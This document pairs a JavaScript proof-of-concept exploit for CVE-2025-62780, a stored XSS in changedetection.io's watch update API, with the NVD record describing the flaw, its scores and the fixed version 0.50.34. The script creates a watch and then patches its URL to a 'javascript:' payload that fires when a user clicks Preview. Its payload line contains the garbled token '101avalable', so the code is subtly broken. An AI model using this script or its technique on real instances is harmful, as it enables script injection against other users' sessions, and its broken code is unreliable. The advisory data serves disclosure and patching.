CVE-2025-62780

// CVE-2025-62780 PoC - Stored XSS in changedetection.io Watch Update API // Attack Scenario 1: Create new watch then update URL const axios = require('axios'); // Configuration const TARGET_URL = 'http://target-changedetection.io'; const ATTACKER_TOKEN = 'your-api-token'; // Malicious JavaScript payload const xssPayload = "javascript:alert(String.fromCharCode(88,83,83,80,111,99,101avalable))"; async function exploit() { console.log('[+] CVE-2025-62780 PoC - changedetection.io Stored XSS'); // Step 1: Create a watch with a legitimate URL const createWatch = await axios.post(`${TARGET_URL}/api/v1/watch`, { url: 'https://example.com', title: 'Legitimate Watch' }, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}` } }); const watchId = createWatch.data.id; console.log(`[+] Created watch with ID: ${watchId}`); // Step 2: Update the URL with XSS payload const updateWatch = await axios.patch(`${TARGET_URL}/api/v1/watch/${watchId}`, { url: xssPayload }, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}` } }); console.log('[+] XSS payload stored successfully'); console.log(`[+] When user clicks Preview on watch ${watchId}, XSS will execute`); } exploit().catch(console.error);

{"cve": {"id": "CVE-2025-62780", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:36.200", "lastModified": "2025-12-31T18:28:07.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "changedetection.io is a free open source web page change detection tool. A Stored Cross Site Scripting is present in changedetection.io Watch update API in versions prior to 0.50.34 due to insufficient security checks. Two scenarios are possible. In the first, an attacker can insert a new watch with an arbitrary URL which really points to a web page. Once the HTML content is retrieved, the attacker updates the URL with a JavaScript payload. In the second, an attacker substitutes the URL in an existing watch with a new URL that is in reality a JavaScript payload. When the user clicks on *Preview* and then on the malicious link, the JavaScript malicious code is executed. Version 0.50.34 fixes the issue."}, {"lang": "es", "value": "changedetection.io es una herramienta de detección de cambios en páginas web de código abierto gratuita. Un Cross-Site Scripting Almacenado está presente en la API de actualización de Watch de changedetection.io en versiones anteriores a la 0.50.34 debido a comprobaciones de seguridad insuficientes. Dos escenarios son posibles. En el primero, un atacante puede insertar un nuevo watch con una URL arbitraria que realmente apunta a una página web. Una vez que se recupera el contenido HTML, el atacante actualiza la URL con una carga útil de JavaScript. En el segundo, un atacante sustituye la URL en un watch existente con una nueva URL que es en realidad una carga útil de JavaScript. Cuando el usuario hace clic en *Preview* y luego en el enlace malicioso, se ejecuta el código malicioso de JavaScript. La versión 0.50.34 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:changedetection:changedetection:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.50.34", "matchCriteriaId": "212ED6D7-8618-4432-9D68-9A75175E9063"}]}]}], "references": [{"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}